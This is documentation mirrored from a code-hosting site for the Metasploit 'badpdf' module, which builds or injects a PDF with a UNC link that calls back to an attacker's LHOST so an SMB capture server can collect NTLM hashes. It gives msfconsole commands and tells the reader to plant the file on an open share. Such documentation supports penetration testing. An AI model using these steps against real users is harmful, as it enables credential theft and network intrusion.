Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/documentation/modules/auxiliary/fileformat/badpdf.md
Views: 11784
This module will either create a blank pdf document which contains a UNC link which will connect back to LHOST if file FILENAME options is used or if PDFINJECT option is used will try and inject the necessary UNC code into an existing PDF document.
Vulnerable Application
Various PDF Readers. Note Adobe released the patch APSB18-09 to prevent this and FoxIT after version 9.1 is no longer vulnerable.
Verification Steps
Install the application
Start msfconsole
Do:
use auxiliary/fileformat/badpdf
Customise Options as required
Do:
run
A file pointing back to the listening host will then be generated.
Configure auxiliary/server/capture/smb or similar to capture hashes.
Upload the document to an open share or similar and wait for hashes.
Options
FILENAME This option allows you to customise the generated filename. This can be changed using set FILENAME test.pdf
LHOST This option allows you to set the IP address of the SMB Listener that the document points to This can be changed using set LHOST 192.168.1.25
PDFINJECT This option allows you to inject the UNC code into an existing PDF document This can be changed using set PDFINJECT /path/to/file/pdf.pdf